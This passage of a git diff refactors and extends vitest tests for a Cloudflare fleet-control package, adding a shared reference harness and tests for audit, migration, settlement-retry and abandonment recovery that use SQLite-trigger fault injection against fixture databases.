fixture teardown failed', - ); + await fixture?.close(); }, 30_000); - - async function call(action: DirectReferenceAction) { - const response = await server - .getWorker() - .fetch(`https://reference.test${DIRECT_REFERENCE_PATH}`, { - method: 'POST', - headers: { authorization: 'Bearer inert-invoke' }, - body: JSON.stringify({ - contractVersion: 1, - configSha256: manifest.configSha256, - action, - }), - }); - return { - response, - value: (await response.json()) as { - ok: boolean; - result?: unknown; - error?: unknown; - }, - }; - } - - async function success(action: DirectReferenceAction): Promise { - const { response, value } = await call(action); - expect(bridgeErrors).toEqual([]); - expect({ status: response.status, value }).toMatchObject({ - status: 200, - value: { ok: true }, - }); - return value.result as T; - } - - function journal() { - return new DirectReferenceJournal( - db, - manifest.resourcePrefix, - JSON.stringify({ - configSha256: manifest.configSha256, - binding, - quotaScope: manifest.resourcePrefix, - tenantSecretsSha256: createHash('sha256') - .update(JSON.stringify(secrets)) - .digest('hex'), - }), - ); - } - async function finishCleanup( token: unknown, ): Promise> { for (let calls = 0; calls < 150; calls++) { - const result = await success({ + const result = await fixture.success({ kind: 'cleanup-continue', role: 'recovery', token, @@ -426,42 +36,42 @@ export default {fetch(request,env){return worker.fetch(request,{...env,CLOUDFLAR } it('uses real provision and normal teardown with native export integrity', async () => { - const result = await success<{ status: string }>({ + const result = await fixture.success<{ status: string }>({ kind: 'provision', role: 'a', release: 'initial', }); expect(result.status).toBe('ready'); - expect(sqlFailures).toEqual([]); - const before = world.databases.length; + expect(fixture.sqlFailures).toEqual([]); + const before = fixture.world.databases.length; expect( ( - await success<{ status: string }>({ + await fixture.success<{ status: string }>({ kind: 'provision', role: 'a', release: 'initial', }) ).status, ).toBe('ready'); - expect(world.databases).toHaveLength(before); - let advance = await success({ + expect(fixture.world.databases).toHaveLength(before); + let advance = await fixture.success({ kind: 'decommission-start', role: 'a', }); for (let calls = 0; advance.status !== 'complete' && calls < 150; calls++) { expect(advance.status).toBe('pending'); - advance = await success({ + advance = await fixture.success({ kind: 'decommission-continue', role: 'a', token: advance.token, }); } expect(advance.status).toBe('complete'); - expect(world.databases).toHaveLength(0); - expect(buckets.size).toBe(0); - const stored = await exportBytes.list(); + expect(fixture.world.databases).toHaveLength(0); + expect(fixture.buckets.size).toBe(0); + const stored = await fixture.exportBytes.list(); expect(stored.objects.length).toBeGreaterThan(0); - const expectedSql = [...world.exports.values()][0]; + const expectedSql = [...fixture.world.exports.values()][0]; if (!expectedSql) throw new Error('fixture export bytes are missing'); if (advance.status !== 'complete') throw new Error('decommission did not complete'); @@ -471,7 +81,7 @@ export default {fetch(request,env){return worker.fetch(request,{...env,CLOUDFLAR ); const objects = await Promise.all( stored.objects.map(async (object) => { - const value = await exportBytes.get(object.key); + const value = await fixture.exportBytes.get(object.key); if (!value) throw new Error('stored export object is missing'); return new Uint8Array(await value.arrayBuffer()); }), @@ -481,12 +91,12 @@ export default {fetch(request,env){return worker.fetch(request,{...env,CLOUDFLAR Buffer.from(bytes).equals(Buffer.from(expectedSql)), ), ).toBe(true); - const replay = await success({ + const replay = await fixture.success({ kind: 'decommission-start', role: 'a', }); expect(replay.status).toBe('complete'); - const control = await success<{ + const control = await fixture.success<{ records: { role: string; phase: string }[]; }>({ kind: 'control-read' }); expect(control.records.find((record) => record.role === 'a')?.phase).toBe( @@ -495,7 +105,7 @@ export default {fetch(request,env){return worker.fetch(request,{...env,CLOUDFLAR }); it('preserves failed and fresh recovery rollback histories and opaque replay', async () => { - const failed = await success<{ + const failed = await fixture.success<{ status: string; slot: string; cleanup: CleanupAdvanceResult; @@ -505,12 +115,12 @@ export default {fetch(request,env){return worker.fetch(request,{...env,CLOUDFLAR slot: 'cleanup-recovery', cleanup: { status: 'pending' }, }); - expect(sqlFailures).toEqual([ + expect(fixture.sqlFailures).toEqual([ 'no such table: direct_conformance_missing_table', ]); const historical = await finishCleanup(failed.cleanup.token); - world.failNext('uploadCandidate', { dispatched: false }); - const fresh = await success<{ + fixture.world.failNext('uploadCandidate', { dispatched: false }); + const fresh = await fixture.success<{ status: string; slot: string; cleanup: CleanupAdvanceResult; @@ -523,7 +133,7 @@ export default {fetch(request,env){return worker.fetch(request,{...env,CLOUDFLAR expect(fresh.cleanup.token.operationId).not.toBe( historical.token.operationId, ); - const historicalReplay = await success({ + const historicalReplay = await fixture.success({ kind: 'cleanup-continue', role: 'recovery', token: historical.token, @@ -535,12 +145,13 @@ export default {fetch(request,env){return worker.fetch(request,{...env,CLOUDFLAR const completed = await finishCleanup(fresh.cleanup.token); expect(completed.receipt.operationId).toBe(fresh.cleanup.token.operationId); expect( - (await journal().readOperation('cleanup-recovery'))?.operationId, + (await fixture.journal().readOperation('cleanup-recovery'))?.operationId, ).toBe(historical.receipt.operationId); expect( - (await journal().readOperation('cleanup-recovery-initial'))?.operationId, + (await fixture.journal().readOperation('cleanup-recovery-initial')) + ?.operationId, ).toBe(completed.receipt.operationId); - const selected = await success<{ slot: string; receipt: unknown }>({ + const selected = await fixture.success<{ slot: string; receipt: unknown }>({ kind: 'cleanup-receipt', role: 'recovery', }); @@ -548,27 +159,32 @@ export default {fetch(request,env){return worker.fetch(request,{...env,CLOUDFLAR slot: 'cleanup-recovery-initial', receipt: completed.receipt, }); - const attempts = projection.requests.length; - const refused = await call({ + const attempts = fixture.projection.requests.length; + const refused = await fixture.call({ kind: 'provision', role: 'recovery', release: 'initial', }); expect(refused.value.ok).toBe(false); - expect(projection.requests).toHaveLength(attempts); + expect(fixture.projection.requests).toHaveLength(attempts); for (const token of [null, {}, { operationId: 'foreign', revision: 1 }]) { expect( - (await call({ kind: 'cleanup-continue', role: 'recovery', token })) - .value.ok, + ( + await fixture.call({ + kind: 'cleanup-continue', + role: 'recovery', + token, + }) + ).value.ok, ).toBe(false); } }); it('does not provision again from prepared history with no observable result', async () => { - const spec = specs[1]; + const spec = fixture.specs[1]; if (!spec) throw new Error('fixture b specification is missing'); const { deploymentSpecDigest } = await import('../src/spec-digest.js'); - await journal().freezeStart('cleanup-b', async () => ({ + await fixture.journal().freezeStart('cleanup-b', async () => ({ operationId: null, inputJson: JSON.stringify({ version: 1, @@ -577,17 +193,19 @@ export default {fetch(request,env){return worker.fetch(request,{...env,CLOUDFLAR specDigest: deploymentSpecDigest(spec), }), })); - const attempts = projection.requests.length; - const response = await call({ + const attempts = fixture.projection.requests.length; + const response = await fixture.call({ kind: 'provision', role: 'b', release: 'initial', }); expect(response.value.ok).toBe(false); - expect(projection.requests).toHaveLength(attempts); + expect(fixture.projection.requests).toHaveLength(attempts); expect( - world.databases.some((database) => database.name === spec.databaseName), + fixture.world.databases.some( + (database) => database.name === spec.databaseName, + ), ).toBe(false); - expect(bridgeErrors).toEqual([]); + expect(fixture.bridgeErrors).toEqual([]); }); }); diff --git a/packages/fleet-control/test/direct-reference-r4.harness.test.ts b/packages/fleet-control/test/direct-reference-r4.harness.test.ts new file mode 100644 index 00000000..62844869 --- /dev/null +++ b/packages/fleet-control/test/direct-reference-r4.harness.test.ts @@ -0,0 +1,539 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { + afterAll, + afterEach, + beforeAll, + beforeEach, + describe, + expect, + it, +} from 'vitest'; +import { directDeploymentSpec } from '../scripts/direct-credentialed-spec.js'; +import type { + DirectAuditSlot, + DirectInventorySlot, +} from '../scripts/direct-reference-contract.mjs'; +import type { FleetAuditAdvanceResult } from '../src/fleet-audit-advance.js'; +import type { FleetInventoryAdvanceResult } from '../src/fleet-inventory-advance.js'; +import type { FleetMigrationAdvanceResult } from '../src/fleet-migration-advance.js'; +import type { FleetMigrationItem } from '../src/fleet-migration-state.js'; +import { fleetSettlementKey } from '../src/settlement.js'; +import { deploymentSpecDigest } from '../src/spec-digest.js'; +import { + createDirectReferenceHarness, + type DirectReferenceHarness, +} from './fixtures/direct-reference-harness.js'; + +async function inventory( + fixture: DirectReferenceHarness, + slot: DirectInventorySlot, +) { + let result = await fixture.success({ + kind: 'inventory-start', + slot, + }); + for (let count = 0; result.status === 'pending' && count < 100; count++) + result = await fixture.success({ + kind: 'inventory-continue', + slot, + token: result.token, + }); + if (result.status !== 'complete') + throw new Error('inventory exceeded the fixture invocation bound'); + return result; +} + +async function retrySettlementAfterWriteFailure( + fixture: DirectReferenceHarness, + token: FleetMigrationAdvanceResult['token'], +) { + const stored = await fixture.journal().readOperation('migration-next'); + await fixture.db.exec( + 'CREATE TABLE fixture_settlement_attempts (id INTEGER PRIMARY KEY)', + ); + await fixture.db.exec( + "CREATE TRIGGER observe_settlement BEFORE INSERT ON direct_reference_observations WHEN NEW.observation_kind='settlement' BEGIN INSERT INTO fixture_settlement_attempts(id) VALUES(NULL); END", + ); + await fixture.db.exec( + "CREATE TRIGGER refuse_settled_record BEFORE UPDATE ON anchorage_fleet_deployments WHEN NEW.settled_settlement_key IS NOT NULL AND NEW.schema_version=2 BEGIN SELECT RAISE(ABORT,'fixture settling write failure'); END", + ); + await fixture.db.exec( + "CREATE TRIGGER refuse_failure_record BEFORE UPDATE ON anchorage_fleet_operations WHEN NEW.operation_kind='migration' AND json_extract(NEW.op_record,'$.state')='failed' BEGIN SELECT RAISE(ABORT,'fixture operation failure write'); END", + ); + try { + const failed = await fixture.call({ kind: 'migration-continue', token }); + expect(failed.response.status).toBe(500); + expect(await fixture.journal().readOperation('migration-next')).toEqual( + stored, + ); + } finally { + await fixture.db.exec('DROP TRIGGER refuse_settled_record'); + await fixture.db.exec('DROP TRIGGER refuse_failure_record'); + } + try { + const row = await fixture.db + .prepare( + "SELECT observation_key FROM direct_reference_observations WHERE observation_kind='settlement'", + ) + .first<{ observation_key: string }>(); + if (!row) + throw new Error('settlement effect did not precede the failed write'); + const first = await fixture.journal().readSettlement(row.observation_key); + expect(first).toBeDefined(); + const result = await fixture.success({ + kind: 'migration-continue', + token, + }); + expect(result.token.revision).toBeGreaterThan(token.revision); + expect(await fixture.journal().readSettlement(row.observation_key)).toEqual( + first, + ); + expect( + ( + await fixture.db + .prepare('SELECT id FROM fixture_settlement_attempts') + .all() + ).results, + ).toHaveLength(2); + return result; + } finally { + await fixture.db.exec('DROP TRIGGER observe_settlement'); + await fixture.db.exec('DROP TABLE fixture_settlement_attempts'); + } +} + +describe.sequential('reference audit and migration in native control state', { + timeout: 180_000, +}, () => { + let fixture: DirectReferenceHarness; + beforeAll(async () => { + fixture = await createDirectReferenceHarness({ maintenanceNow: Date.now }); + }, 60_000); + afterAll(async () => { + await fixture?.close(); + }, 30_000); + + async function audit(slot: DirectAuditSlot) { + let result = await fixture.success({ + kind: 'audit-start', + slot, + }); + for (let count = 0; result.status === 'pending' && count < 150; count++) + result = await fixture.success({ + kind: 'audit-continue', + slot, + token: result.token, + }); + expect(result.status).toBe('complete'); + const page = await fixture.success<{ findings: unknown[]; done: boolean }>({ + kind: 'audit-page', + slot, + limit: 1, + }); + expect(page).toEqual({ findings: [], done: true }); + return result; + } + + async function items() { + return fixture.success<{ items: FleetMigrationItem[]; done: boolean }>({ + kind: 'migration-page', + limit: 2, + }); + } + + it('retains audits and replays the original claim after one actual migration admission', async () => { + const premature = await fixture.call({ + kind: 'audit-start', + slot: 'audit-before', + }); + expect(premature.response.status).toBe(409); + expect( + await fixture.journal().readOperation('audit-before'), + ).toBeUndefined(); + for (const role of ['a', 'b'] as const) + expect( + await fixture.success({ kind: 'provision', role, release: 'initial' }), + ).toMatchObject({ status: 'ready' }); + const before = await inventory(fixture, 'inventory-before'); + const beforeAudit = await audit('audit-before'); + const frozen = await fixture.journal().readOperation('audit-before'); + expect( + JSON.parse(frozen?.inputJson ?? '{}').records.map( + (record: { tenantTag: string }) => record.tenantTag, + ), + ).toEqual([ + fixture.manifest.names.roles.a.tenantTag, + fixture.manifest.names.roles.b.tenantTag, + ]); + expect(JSON.parse(frozen?.inputJson ?? '{}').generation).toBe( + before.generation.generation, + ); + const started = await fixture.success({ + kind: 'migration-start', + }); + expect(started).toMatchObject({ + status: 'pending', + token: { revision: 1 }, + itemOrdinal: 0, + }); + expect( + (await items()).items.map((item) => [ + item.ordinal, + item.status, + item.canaryRank, + ]), + ).toEqual([ + [0, 'pending', 0], + [1, 'pending', undefined], + ]); + const uploadCounts = [...fixture.world.scripts.values()].map( + (script) => script.versions.length, + ); + const loss = await fixture.call({ + kind: 'migration-continue', + token: started.token, + }); + expect(loss.response.status).toBe(503); + expect(loss.value).toMatchObject({ + ok: false, + error: { code: 'injected-response-loss' }, + }); + const originalInstance = loss.response.headers.get('X-Fixture-Instance'); + expect( + [...fixture.world.scripts.values()].map( + (script) => script.versions.length, + ), + ).toEqual(uploadCounts); + const admitted = (await items()).items; + expect(admitted[0]).toMatchObject({ + status: 'active', + planCursor: 0, + ordinal: 0, + }); + expect(admitted[1]).toMatchObject({ status: 'pending' }); + for (const database of fixture.world.databases) + expect( + database.d1.queryDatabase( + 'SELECT marker FROM direct_conformance_fixture WHERE id=1', + ), + ).toEqual([{ marker: 'initial' }]); + const control = await fixture.success<{ interruption: string }>({ + kind: 'control-read', + }); + const witness = JSON.parse(control.interruption) as { + claimJson: string; + returnedTokenJson: string; + item: unknown; + }; + expect(JSON.parse(witness.claimJson)).toEqual(started.token); + expect(witness.item).toMatchObject({ + ordinal: 0, + beforeStatus: 'pending', + afterStatus: 'active', + planCursor: 0, + }); + await fixture.reload(); + const reloaded = await fixture.call({ kind: 'control-read' }); + expect(reloaded.response.headers.get('X-Fixture-Instance')).not.toBe( + originalInstance, + ); + expect(reloaded.value.result).toMatchObject({ + interruption: control.interruption, + }); + const replay = await fixture.call({ + kind: 'migration-continue', + token: JSON.parse(witness.claimJson), + }); + expect(replay.response.status).toBe(200); + expect(replay.response.headers.get('X-Direct-Provider-Attempts')).toBe('0'); + expect(replay.response.headers.get('X-Direct-Maintenance-Attempts')).toBe( + '0', + ); + expect(replay.value.result).toMatchObject({ + status: 'pending', + token: JSON.parse(witness.returnedTokenJson), + itemOrdinal: 0, + planCursor: 0, + }); + expect((await items()).items).toEqual(admitted); + let progress = replay.value.result as FleetMigrationAdvanceResult; + let settlementRetried = false; + for (let count = 0; progress.status === 'pending' && count < 100; count++) { + const first = (await items()).items[0]; + if ( + !settlementRetried && + first?.planCursor !== undefined && + first.plan?.[first.planCursor]?.step === 'settle-ready' + ) { + progress = await retrySettlementAfterWriteFailure( + fixture, + progress.token, + ); + settlementRetried = true; + } else { + progress = await fixture.success({ + kind: 'migration-continue', + token: progress.token, + }); + } + const current = (await items()).items; + if (current[1]?.status !== 'pending') + expect(current[0]?.status).toBe('complete'); + } + expect(progress.status).toBe('complete'); + expect(settlementRetried).toBe(true); + expect( + ( + await fixture.success<{ interruption: string }>({ + kind: 'control-read', + }) + ).interruption, + ).toBe(control.interruption); + for (const role of ['a', 'b'] as const) { + const record = await fixture.fleetStore.get( + fixture.manifest.names.roles[role].tenantTag, + fixture.manifest.environment, + ); + const target = directDeploymentSpec( + fixture.manifest, + role, + 'next', + fixture.secrets[role], + fixture.binding, + ); + expect(record).toMatchObject({ + phase: 'ready', + schemaVersion: 2, + desiredSpecDigest: deploymentSpecDigest(target), + }); + if (!record) throw new Error('migrated fixture record is missing'); + const key = fleetSettlementKey({ + tenantTag: record.tenantTag, + environment: record.environment, + specDigest: record.desiredSpecDigest, + artifactVersion: record.artifactVersion, + }); + expect(record.settledSettlementKey).toBe(key); + expect(await fixture.journal().readSettlement(key)).toBeDefined(); + const database = fixture.world.databases.find( + (database) => database.databaseId === record.databaseId, + ); + expect( + database?.d1.queryDatabase( + 'SELECT marker,release FROM direct_conformance_fixture WHERE id=1', + ), + ).toEqual([{ marker: 'next', release: 'next' }]); + } + const effects = await fixture.db + .prepare( + "SELECT observation_key FROM direct_reference_observations WHERE run_key=? AND observation_kind='settlement'", + ) + .bind(fixture.manifest.resourcePrefix) + .all(); + expect(effects.results).toHaveLength(2); + const after = await inventory(fixture, 'inventory-after'); + expect(after.generation.generation).toBeGreaterThan( + before.generation.generation, + ); + await audit('audit-after'); + expect( + await fixture.success({ kind: 'audit-start', slot: 'audit-before' }), + ).toEqual(beforeAudit); + expect(await fixture.journal().readOperation('audit-before')).toEqual( + frozen, + ); + expect( + await fixture.success({ + kind: 'inventory-read', + slot: 'inventory-before', + }), + ).toMatchObject({ + operationId: before.generation.operationId, + generation: before.generation.generation, + }); + const firstPage = await fixture.success<{ + items: FleetMigrationItem[]; + done: boolean; + }>({ kind: 'migration-page', limit: 1 }); + expect(firstPage.items.map((item) => item.ordinal)).toEqual([0]); + expect(firstPage.done).toBe(false); + const secondPage = await fixture.success<{ + items: FleetMigrationItem[]; + done: boolean; + }>({ kind: 'migration-page', limit: 1, afterOrdinal: 0 }); + expect(secondPage.items.map((item) => item.ordinal)).toEqual([1]); + expect(secondPage.done).toBe(true); + expect( + await fixture.success({ + kind: 'migration-page', + limit: 1, + afterOrdinal: 1, + }), + ).toEqual({ items: [], done: true }); + }); +}); + +describe.sequential('reference operation failure recovery', { + timeout: 180_000, +}, () => { + let fixture: DirectReferenceHarness; + beforeEach(async () => { + fixture = await createDirectReferenceHarness({ maintenanceNow: Date.now }); + for (const role of ['a', 'b'] as const) + await fixture.success({ kind: 'provision', role, release: 'initial' }); + }, 60_000); + afterEach(async () => { + await fixture?.close(); + }, 30_000); + + it('retains the returned admission token when the interruption write fails and abandons running operations', async () => { + const selected = await inventory(fixture, 'inventory-before'); + const audit = await fixture.success({ + kind: 'audit-start', + slot: 'audit-before', + }); + expect(audit.status).toBe('pending'); + const auditStart = await fixture.journal().readOperation('audit-before'); + expect( + await fixture.success({ kind: 'audit-abandon', slot: 'audit-before' }), + ).toEqual({ operationId: audit.token.operationId }); + expect(await fixture.journal().readOperation('audit-before')).toEqual( + auditStart, + ); + const abandonedAudit = await fixture.success({ + kind: 'audit-start', + slot: 'audit-before', + }); + expect(abandonedAudit).toMatchObject({ + status: 'failed', + failure: { reason: 'operator-abandoned' }, + }); + expect(abandonedAudit.token.operationId).toBe(audit.token.operationId); + expect( + await fixture.success({ + kind: 'inventory-read', + slot: 'inventory-before', + }), + ).toMatchObject({ generation: selected.generation.generation }); + + const started = await fixture.success({ + kind: 'migration-start', + }); + await fixture.db.exec( + "CREATE TRIGGER refuse_interruption BEFORE UPDATE OF interruption_json ON direct_reference_run WHEN NEW.interruption_json IS NOT NULL BEGIN SELECT RAISE(ABORT,'fixture interruption write'); END", + ); + try { + const failed = await fixture.call({ + kind: 'migration-continue', + token: started.token, + }); + expect(failed.response.status).toBe(500); + } finally { + await fixture.db.exec('DROP TRIGGER refuse_interruption'); + } + const retained = await fixture.journal().readOperation('migration-next'); + expect(retained?.tokenRevision).toBeGreaterThan(started.token.revision); + expect(await fixture.journal().readInterruption()).toBeNull(); + const replay = await fixture.call({ + kind: 'migration-continue', + token: started.token, + }); + expect(replay.response.status).toBe(200); + expect(replay.response.headers.get('X-Direct-Provider-Attempts')).toBe('0'); + expect(replay.response.headers.get('X-Direct-Maintenance-Attempts')).toBe( + '0', + ); + expect(replay.value.result).toMatchObject({ + status: 'pending', + planCursor: 0, + token: JSON.parse(retained?.tokenJson ?? '{}'), + }); + expect(await fixture.journal().readInterruption()).toBeNull(); + expect(await fixture.success({ kind: 'migration-abandon' })).toEqual({ + operationId: started.token.operationId, + }); + expect(await fixture.journal().readOperation('migration-next')).toEqual( + retained, + ); + const abandoned = await fixture.success({ + kind: 'migration-start', + }); + expect(abandoned).toMatchObject({ + status: 'failed', + failure: { reason: 'operator-abandoned' }, + }); + expect(abandoned.token.operationId).toBe(started.token.operationId); + expect( + ( + await fixture.success<{ items: FleetMigrationItem[] }>({ + kind: 'migration-page', + limit: 2, + }) + ).items.map(({ status }) => status), + ).toEqual(['failed', 'pending']); + }); + + it('recovers the actual failed operation after a migration throws without a returned token', async () => { + const started = await fixture.success({ + kind: 'migration-start', + }); + const admission = await fixture.call({ + kind: 'migration-continue', + token: started.token, + }); + expect(admission.response.status).toBe(503); + const row = await fixture.fleetStore.get( + fixture.manifest.names.roles.a.tenantTag, + fixture.manifest.environment, + ); + const database = fixture.world.databases.find( + ({ databaseId }) => databaseId === row?.databaseId, + ); + if (!database) throw new Error('canary database is missing'); + database.d1.queryDatabase('DROP TABLE direct_conformance_fixture'); + let hint = await fixture.journal().readOperation('migration-next'); + let failed = false; + for (let count = 0; count < 100; count++) { + const response = await fixture.call({ kind: 'migration-continue' }); + if (response.response.status === 500) { + expect(await fixture.journal().readOperation('migration-next')).toEqual( + hint, + ); + failed = true; + break; + } + expect(response.response.status).toBe(200); + expect(response.value.result).toMatchObject({ status: 'pending' }); + hint = await fixture.journal().readOperation('migration-next'); + } + expect(failed).toBe(true); + expect(fixture.sqlFailures).toContain( + 'no such table: direct_conformance_fixture', + ); + const recovered = await fixture.call({ kind: 'migration-start' }); + expect(recovered.response.status).toBe(200); + expect(recovered.response.headers.get('X-Direct-Provider-Attempts')).toBe( + '0', + ); + expect( + recovered.response.headers.get('X-Direct-Maintenance-Attempts'), + ).toBe('0'); + expect(recovered.value.result).toMatchObject({ + status: 'failed', + failure: { reason: 'item-failed' }, + token: { operationId: started.token.operationId }, + }); + const stored = await fixture.journal().readOperation('migration-next'); + expect(stored?.inputJson).toBe(hint?.inputJson); + expect(stored?.tokenRevision).toBeGreaterThan(hint?.tokenRevision ?? 0); + expect( + ( + await fixture.success<{ items: FleetMigrationItem[] }>({ + kind: 'migration-page', + limit: 2, + }) + ).items.map(({ status }) => status), + ).toEqual(['failed', 'pending']); + }); +}); diff --git a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts index db62455b..c3fc95d5 100644 --- a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts +++ b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts @@ -106,7 +106,7 @@ export function zoneAuthorityResponse( } if (url.pathname.endsWith('/zones')) { expect(url.searchParams.get('account.id')).toBe('account'); - if (url.searchParams.has('page')) return envelope([]); + if (Number(url.searchParams.get('page') ?? '1') !== 1) return envelope([]); return envelope(zoneIds.map((id) => ({ id, account: { id: 'account' } }))); } const parts = url.pathname.split('/').filter(Boolean); @@ -326,7 +326,8 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { const bodyField = (name: string): unknown => body && typeof body === 'object' ? Reflect.get(body, name) : undefined; if (target.pathname.endsWith('/d1/database') && method === 'GET') { - if (target.searchParams.has('page')) return pageArray([]); + if (Number(target.searchParams.get('page') ?? '1') !== 1) + return pageArray([]); const requestedName = target.searchParams.get('name'); return pageArray( world.databases @@ -431,7 +432,8 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { }); } if (target.pathname.endsWith('/workers/scripts') && method === 'GET') { - if (target.searchParams.has('page')) return pageArray([]); + if (Number(target.searchParams.get('page') ?? '1') !== 1) + return pageArray([]); return pageArray( [...world.scripts.entries()].flatMap(([id, script]) => script.present ? [{ id }] : [], @@ -487,7 +489,8 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { target.pathname.endsWith('/workers/durable_objects/namespaces') && method === 'GET' ) { - if (target.searchParams.has('page')) return pageArray([]); + if (Number(target.searchParams.get('page') ?? '1') !== 1) + return pageArray([]); return pageArray( world.durableObjectNamespaces.map((namespace) => ({ id: namespace.id, @@ -621,7 +624,8 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { return single({}); } if (target.pathname.endsWith('/secrets') && method === 'GET') { - if (target.searchParams.has('page')) return pageArray([]); + if (Number(target.searchParams.get('page') ?? '1') !== 1) + return pageArray([]); return pageArray( [...script.secretNames].sort().map((name) => ({ name })), ); @@ -680,7 +684,8 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { }); } if (target.pathname.endsWith('/versions') && method === 'GET') { - if (target.searchParams.has('page')) return pageItems([]); + if (Number(target.searchParams.get('page') ?? '1') !== 1) + return pageItems([]); return pageItems( script.versions.map(({ versionId, tag }) => ({ id: versionId, diff --git a/packages/fleet-control/test/fixtures/direct-reference-harness.ts b/packages/fleet-control/test/fixtures/direct-reference-harness.ts new file mode 100644 index 00000000..4a197ada --- /dev/null +++ b/packages/fleet-control/test/fixtures/direct-reference-harness.ts @@ -0,0 +1,474 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { createServer, type Server } from 'node:http'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { Readable } from 'node:stream'; +import { fileURLToPath } from 'node:url'; +import type { D1Database, R2Bucket } from '@cloudflare/workers-types'; +import { expect } from 'vitest'; +import { createTestHarness, type TestHarness } from 'wrangler'; +import { directDeploymentSpec } from '../../scripts/direct-credentialed-spec.js'; +import { + DIRECT_REFERENCE_PATH, + type DirectReferenceAction, +} from '../../scripts/direct-reference-contract.mjs'; +import { DirectReferenceJournal } from '../../scripts/direct-reference-journal.js'; +import { D1FleetStateDatabase } from '../../src/d1-fleet-state-database.js'; +import { D1FleetStateStore } from '../../src/state-store.js'; +import type { DeploymentSecrets } from '../../src/types.js'; +import { + type CloudflareFixtureRequest, + recordingFetch, + restProjection, + single, +} from './cloudflare-fetch-fixture.js'; +import { directFixtureManifest } from './direct-credentialed-config.js'; +import { maintenanceResponder, providerWorld } from './provider-world.js'; + +export async function createDirectReferenceHarness( + policy: Readonly<{ maintenanceNow?: () => number }> = {}, +) { + const manifest = directFixtureManifest(); + const roles = ['a', 'b', 'recovery'] as const; + function fixtureSecrets(role: string): DeploymentSecrets { + return { + deploymentIdentity: `identity-${role}`.padEnd(40, 'i'), + maintenanceAdmin: `maintenance-${role}`.padEnd(40, 'm'), + application: { APP_PROBE_TOKEN: `probe-${role}`.padEnd(40, 'p') }, + }; + } + const secrets = { + a: fixtureSecrets('a'), + b: fixtureSecrets('b'), + recovery: fixtureSecrets('recovery'), + }; + const binding = { + version: 1, + accountId: 'account', + fleetDatabaseId: '00000000-0000-0000-0000-000000000011', + quotaDatabaseId: '00000000-0000-0000-0000-000000000012', + exportBucketName: manifest.names.exportBucket, + referenceModuleSetSha256: 'c'.repeat(64), + accountWorkersDevSubdomain: 'direct-fixture', + }; + const specs = roles.map((role) => + directDeploymentSpec(manifest, role, 'initial', secrets[role], binding), + ); + + let directory: string; + let server: TestHarness; + let bridge: Server; + let db: D1Database; + let fleetStore: D1FleetStateStore; + let applicationBytes: R2Bucket; + let exportBytes: R2Bucket; + const world = providerWorld('uuid'); + const bridgeErrors: unknown[] = []; + const sqlFailures: string[] = []; + const buckets = new Map< + string, + { name: string; jurisdiction: string; creation_date: string } + >(); + const rest = restProjection(world); + async function providerRest( + request: CloudflareFixtureRequest, + ): Promise { + try { + return await rest(request); + } catch (error) { + if ( + new URL(request.url).pathname.endsWith('/query') && + error instanceof Error && + 'code' in error && + error.code === 'ERR_SQLITE_ERROR' + ) { + sqlFailures.push(error.message); + return Response.json( + { + success: false, + errors: [{ code: 1, message: 'fixture SQL query failed' }], + }, + { status: 400 }, + ); + } + throw error; + } + } + const projection = recordingFetch(async (request) => { + const url = new URL(request.url); + const spec = specs.find( + (candidate) => candidate.maintenanceBaseUrl === url.origin, + ); + if (spec) { + const override = request.headers.get( + 'Cloudflare-Workers-Version-Overrides', + ); + const script = world.scripts.get(spec.scriptName); + if (override) { + const selected = override.match(/^([^=]+)="([^"]+)"$/u); + if ( + selected?.[1] !== spec.scriptName || + !script?.versions.some((version) => version.versionId === selected[2]) + ) + return new Response('invalid fixture version', { status: 409 }); + } + const view = new Proxy(world, { + get(target, key) { + if (key === 'maintenanceOrigin') return spec.maintenanceBaseUrl; + if (key === 'routeOrigin') return `https://${spec.routeHostname}`; + if (key === 'scripts') + return new Map(script ? [[spec.scriptName, script]] : []); + const value = Reflect.get(target, key); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + const response = + (await maintenanceResponder(view, request)) ?? + new Response('unknown fixture maintenance route', { status: 404 }); + if (!response.ok || !policy.maintenanceNow) return response; + const body = (await response.json()) as Record; + const now = policy.maintenanceNow(); + return Response.json({ + ...body, + alarmAt: now + 60_000, + lastSweepAt: now, + lastPurgeAt: now, + }); + } + if (url.origin === 'https://d1-export.example.test') { + expect(request.headers.has('Authorization')).toBe(false); + return providerRest(request); + } + if (url.origin !== 'https://api.cloudflare.com') + throw new Error('unexpected fixture origin'); + const match = url.pathname.match( + /^\/client\/v4\/accounts\/account\/r2\/buckets(?:\/([^/]+)(\/objects)?)?$/u, + ); + if (!match) return providerRest(request); + const jurisdiction = request.headers.get('cf-r2-jurisdiction') ?? 'default'; + const name = match[1] ? decodeURIComponent(match[1]) : undefined; + if (!name && request.method === 'POST') { + const requested = (request.body as { name?: unknown }).name; + const records = await Promise.all( + specs.map((spec) => fleetStore.get(spec.tenantTag, spec.environment)), + ); + if ( + typeof requested !== 'string' || + !records.some((record) => + record?.applicationResources?.some( + (resource) => + resource.bucketName === requested && + resource.jurisdiction === jurisdiction && + resource.state === 'create-authorized', + ), + ) + ) + throw new Error('unexpected fixture bucket'); + const key = `${jurisdiction}:${requested}`; + if (buckets.has(key)) + return new Response('bucket exists', { status: 409 }); + const descriptor = { + name: requested, + jurisdiction, + creation_date: new Date().toISOString(), + }; + buckets.set(key, descriptor); + return single(descriptor); + } + if (!name && request.method === 'GET') { + const selected = [...buckets.values()] + .filter( + (bucket) => + bucket.jurisdiction === jurisdiction && + bucket.name.includes(url.searchParams.get('name_contains') ?? '') && + bucket.name > (url.searchParams.get('start_after') ?? ''), + ) + .sort((a, b) => (a.name < b.name ? -1 : a.name > b.name ? 1 : 0)); + return single({ buckets: selected }); + } + const key = `${jurisdiction}:${name}`; + const descriptor = buckets.get(key); + if (!descriptor) return Response.json({ errors: [] }, { status: 404 }); + const prefix = `${key}/`; + 